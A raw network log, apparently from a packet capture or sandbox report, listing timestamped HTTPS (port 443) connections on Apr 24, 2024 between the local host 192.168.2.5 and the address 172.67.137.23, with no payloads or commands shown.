Apr 24, 2024 23:08:05.251713991 CEST	443	49778	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:05.255321026 CEST	49779	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:05.255424976 CEST	443	49779	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:05.255521059 CEST	49779	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:05.255692005 CEST	49779	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:05.255738020 CEST	443	49779	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:05.263312101 CEST	443	49769	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:05.263434887 CEST	443	49769	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:05.263520956 CEST	49769	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:05.264764071 CEST	443	49771	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:05.264889956 CEST	443	49771	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:05.264929056 CEST	49769	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:05.264940977 CEST	49771	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:05.264957905 CEST	443	49769	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:05.265561104 CEST	49780	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:05.265593052 CEST	443	49780	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:05.265665054 CEST	49780	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:05.266247034 CEST	49780	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:05.266262054 CEST	443	49780	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:05.268245935 CEST	49771	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:05.268256903 CEST	443	49771	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:05.271060944 CEST	443	49772	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:05.271111965 CEST	443	49772	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:05.271220922 CEST	443	49772	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:05.271277905 CEST	49772	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:05.271918058 CEST	49772	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:05.271939039 CEST	443	49772	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:05.274398088 CEST	49781	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:05.274425983 CEST	443	49781	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:05.274559975 CEST	49781	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:05.274874926 CEST	49781	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:05.274887085 CEST	443	49781	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:05.275458097 CEST	49782	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:05.275501966 CEST	443	49782	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:05.275712013 CEST	49782	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:05.275854111 CEST	49782	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:05.275883913 CEST	443	49782	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:05.277599096 CEST	49783	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:05.277637959 CEST	443	49783	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:05.277729034 CEST	49783	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:05.279616117 CEST	49783	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:05.279639959 CEST	443	49783	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:05.280158043 CEST	49784	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:05.280169964 CEST	443	49784	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:05.280344009 CEST	49784	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:05.280785084 CEST	49784	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:05.280797005 CEST	443	49784	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:05.281621933 CEST	49785	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:05.281646967 CEST	443	49785	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:05.281714916 CEST	49785	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:05.281714916 CEST	443	49773	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:05.281863928 CEST	443	49773	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:05.281917095 CEST	49773	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:05.282011986 CEST	49785	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:05.282038927 CEST	443	49785	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:05.298521996 CEST	49773	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:05.298531055 CEST	443	49773	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:05.304929018 CEST	49786	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:05.305013895 CEST	443	49786	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:05.305227041 CEST	49786	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:05.305423975 CEST	49786	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:05.305459023 CEST	443	49786	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:05.308166027 CEST	49787	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:05.308203936 CEST	443	49787	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:05.308268070 CEST	49787	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:05.308710098 CEST	49787	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:05.308722973 CEST	443	49787	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:05.586385965 CEST	443	49779	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:05.586530924 CEST	443	49778	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:05.586658001 CEST	49779	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:05.586718082 CEST	443	49779	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:05.586882114 CEST	49778	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:05.586905956 CEST	443	49778	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:05.587228060 CEST	443	49779	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:05.587590933 CEST	49779	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:05.587692022 CEST	443	49779	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:05.587723970 CEST	49779	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:05.588426113 CEST	443	49778	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:05.588768959 CEST	49778	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:05.588900089 CEST	49778	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:05.588907003 CEST	443	49778	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:05.588964939 CEST	443	49778	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:05.595941067 CEST	443	49780	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:05.596138954 CEST	49780	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:05.596147060 CEST	443	49780	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:05.596443892 CEST	443	49780	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:05.596810102 CEST	49780	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:05.596863985 CEST	443	49780	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:05.596913099 CEST	49780	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:05.596926928 CEST	443	49780	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:05.604784012 CEST	443	49781	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:05.604958057 CEST	49781	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:05.604979992 CEST	443	49781	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:05.606424093 CEST	443	49781	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:05.606493950 CEST	49781	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:05.606808901 CEST	49781	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:05.606901884 CEST	443	49781	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:05.606947899 CEST	49781	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:05.606951952 CEST	443	49781	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:05.609285116 CEST	443	49782	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:05.609492064 CEST	49782	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:05.609549046 CEST	443	49782	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:05.611201048 CEST	443	49782	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:05.611269951 CEST	49782	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:05.611581087 CEST	49782	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:05.611697912 CEST	49782	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:05.611710072 CEST	443	49782	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:05.611735106 CEST	443	49782	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:05.612112045 CEST	443	49783	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:05.612288952 CEST	49783	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:05.612313032 CEST	443	49783	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:05.612400055 CEST	443	49784	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:05.612569094 CEST	49784	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:05.612577915 CEST	443	49784	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:05.612689972 CEST	443	49783	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:05.613022089 CEST	49783	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:05.613116026 CEST	49783	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:05.613122940 CEST	443	49783	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:05.613142014 CEST	443	49783	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:05.614078045 CEST	443	49784	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:05.614144087 CEST	49784	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:05.614428043 CEST	49784	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:05.614527941 CEST	443	49784	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:05.614566088 CEST	49784	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:05.616801023 CEST	443	49785	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:05.617024899 CEST	49785	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:05.617048025 CEST	443	49785	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:05.620825052 CEST	443	49785	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:05.620923042 CEST	49785	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:05.621285915 CEST	49785	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:05.621335030 CEST	49785	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:05.621345043 CEST	443	49785	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:05.621376038 CEST	443	49785	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:05.628143072 CEST	443	49779	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:05.631707907 CEST	49778	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:05.631716013 CEST	49779	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:05.640978098 CEST	443	49786	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:05.641145945 CEST	49786	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:05.641169071 CEST	443	49786	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:05.641633034 CEST	443	49787	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:05.641825914 CEST	49787	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:05.641839981 CEST	443	49787	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:05.642661095 CEST	443	49786	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:05.642729998 CEST	49786	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:05.643166065 CEST	49786	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:05.643246889 CEST	443	49786	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:05.643316031 CEST	49786	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:05.643323898 CEST	443	49786	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:05.645379066 CEST	443	49787	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:05.645454884 CEST	49787	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:05.645771980 CEST	49787	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:05.645888090 CEST	49787	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:05.645898104 CEST	443	49787	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:05.645950079 CEST	443	49787	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:05.646835089 CEST	49781	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:05.646835089 CEST	49780	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:05.646841049 CEST	443	49781	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:05.652414083 CEST	49782	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:05.652471066 CEST	443	49782	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:05.660124063 CEST	443	49784	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:05.660275936 CEST	49784	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:05.660281897 CEST	443	49784	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:05.667557001 CEST	49783	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:05.667561054 CEST	49785	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:05.667581081 CEST	443	49785	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:05.683655977 CEST	49786	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:05.699357986 CEST	49787	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:05.699376106 CEST	443	49787	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:05.699378967 CEST	49781	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:05.699508905 CEST	49782	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:05.702485085 CEST	49784	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:05.731291056 CEST	49785	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:05.748295069 CEST	49787	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:05.810902119 CEST	443	49777	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:05.811001062 CEST	443	49777	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:05.811269999 CEST	49777	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:05.811753035 CEST	49777	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:05.811773062 CEST	443	49777	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:05.863641977 CEST	443	49776	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:05.863781929 CEST	443	49776	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:05.863842964 CEST	49776	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:05.863867044 CEST	443	49776	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:05.863950014 CEST	443	49776	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:05.863997936 CEST	49776	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:05.864003897 CEST	443	49776	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:05.864092112 CEST	443	49776	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:05.864145041 CEST	49776	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:05.864149094 CEST	443	49776	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:05.864341974 CEST	443	49776	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:05.864486933 CEST	49776	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:05.864619970 CEST	49776	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:05.864633083 CEST	443	49776	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:05.868469000 CEST	49788	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:05.868551016 CEST	443	49788	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:05.868679047 CEST	49788	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:05.868891001 CEST	49788	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:05.868925095 CEST	443	49788	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:06.202672958 CEST	443	49788	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:06.203207970 CEST	49788	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:06.203274965 CEST	443	49788	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:06.204502106 CEST	443	49788	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:06.205435038 CEST	49788	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:06.205600977 CEST	49788	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:06.205629110 CEST	443	49788	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:06.205652952 CEST	443	49788	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:06.223392963 CEST	443	49778	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:06.223443031 CEST	443	49778	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:06.223469973 CEST	443	49778	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:06.223505020 CEST	49778	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:06.223535061 CEST	443	49778	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:06.223593950 CEST	49778	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:06.223601103 CEST	443	49778	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:06.223612070 CEST	443	49778	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:06.223654985 CEST	49778	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:06.227047920 CEST	49778	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:06.227071047 CEST	443	49778	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:06.245037079 CEST	443	49782	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:06.245104074 CEST	443	49782	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:06.245137930 CEST	443	49782	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:06.245163918 CEST	49782	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:06.245181084 CEST	443	49782	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:06.245225906 CEST	49782	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:06.245229006 CEST	443	49782	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:06.245244026 CEST	443	49782	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:06.245290995 CEST	49782	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:06.245474100 CEST	443	49782	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:06.245961905 CEST	443	49782	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:06.245990992 CEST	443	49782	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:06.246012926 CEST	49782	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:06.246021986 CEST	443	49782	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:06.246063948 CEST	49782	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:06.246706963 CEST	49788	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:06.248130083 CEST	443	49780	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:06.248296976 CEST	443	49780	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:06.248351097 CEST	49780	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:06.249638081 CEST	49780	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:06.249655008 CEST	443	49780	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:06.257442951 CEST	443	49782	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:06.264261007 CEST	443	49781	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:06.264305115 CEST	443	49781	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:06.264326096 CEST	443	49781	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:06.264352083 CEST	49781	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:06.264379025 CEST	443	49781	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:06.264468908 CEST	49781	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:06.264475107 CEST	443	49781	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:06.264610052 CEST	443	49781	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:06.264651060 CEST	49781	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:06.264657021 CEST	443	49781	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:06.265218973 CEST	443	49781	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:06.265234947 CEST	443	49781	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:06.265276909 CEST	49781	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:06.265283108 CEST	443	49781	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:06.265325069 CEST	49781	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:06.276356936 CEST	443	49781	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:06.305037022 CEST	443	49785	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:06.305155039 CEST	443	49785	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:06.305227041 CEST	49785	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:06.305279016 CEST	443	49785	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:06.305397034 CEST	443	49785	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:06.305468082 CEST	49785	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:06.305622101 CEST	443	49786	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:06.305747986 CEST	443	49786	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:06.305805922 CEST	49786	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:06.305835962 CEST	443	49786	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:06.305862904 CEST	443	49786	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:06.305917978 CEST	49786	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:06.305949926 CEST	443	49786	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:06.306162119 CEST	443	49786	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:06.306216955 CEST	49786	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:06.306245089 CEST	443	49786	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:06.306338072 CEST	443	49786	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:06.306399107 CEST	49786	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:06.306412935 CEST	443	49786	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:06.306895018 CEST	49785	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:06.306938887 CEST	443	49785	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:06.307369947 CEST	49789	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:06.307435036 CEST	443	49789	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:06.307641029 CEST	49789	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:06.308394909 CEST	49789	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:06.308425903 CEST	443	49789	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:06.310594082 CEST	49782	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:06.310626984 CEST	443	49782	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:06.318878889 CEST	443	49786	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:06.318932056 CEST	49786	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:06.318948030 CEST	443	49786	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:06.322559118 CEST	443	49784	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:06.322841883 CEST	443	49784	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:06.322905064 CEST	49784	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:06.323436975 CEST	49784	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:06.323451996 CEST	443	49784	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:06.323786020 CEST	49790	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:06.323822021 CEST	443	49790	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:06.323877096 CEST	49790	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:06.324300051 CEST	49790	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:06.324316978 CEST	443	49790	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:06.326001883 CEST	49781	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:06.326008081 CEST	443	49781	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:06.326595068 CEST	443	49787	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:06.326710939 CEST	443	49787	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:06.326766968 CEST	49787	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:06.328035116 CEST	443	49783	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:06.328108072 CEST	443	49783	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:06.328174114 CEST	49783	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:06.330795050 CEST	49783	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:06.330817938 CEST	443	49783	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:06.331091881 CEST	49787	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:06.331108093 CEST	443	49787	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:06.356826067 CEST	49782	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:06.372240067 CEST	49786	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:06.372262955 CEST	49781	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:06.372263908 CEST	443	49786	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:06.418154955 CEST	49786	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:06.427283049 CEST	443	49782	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:06.427561998 CEST	443	49782	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:06.427593946 CEST	443	49782	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:06.427618980 CEST	49782	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:06.427644014 CEST	443	49782	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:06.427726984 CEST	49782	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:06.428211927 CEST	443	49782	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:06.428283930 CEST	443	49782	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:06.428340912 CEST	49782	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:06.428350925 CEST	443	49782	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:06.428963900 CEST	443	49782	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:06.429007053 CEST	443	49782	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:06.429016113 CEST	49782	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:06.429025888 CEST	443	49782	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:06.429076910 CEST	49782	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:06.429084063 CEST	443	49782	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:06.429867029 CEST	443	49782	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:06.429944038 CEST	49782	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:06.430136919 CEST	49782	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:08:06.430150032 CEST	443	49782	172.67.137.23	192.168.2.5
Apr 24, 2024 23:08:06.435095072 CEST	49793	443	192.168.2.5	172.67.137.23
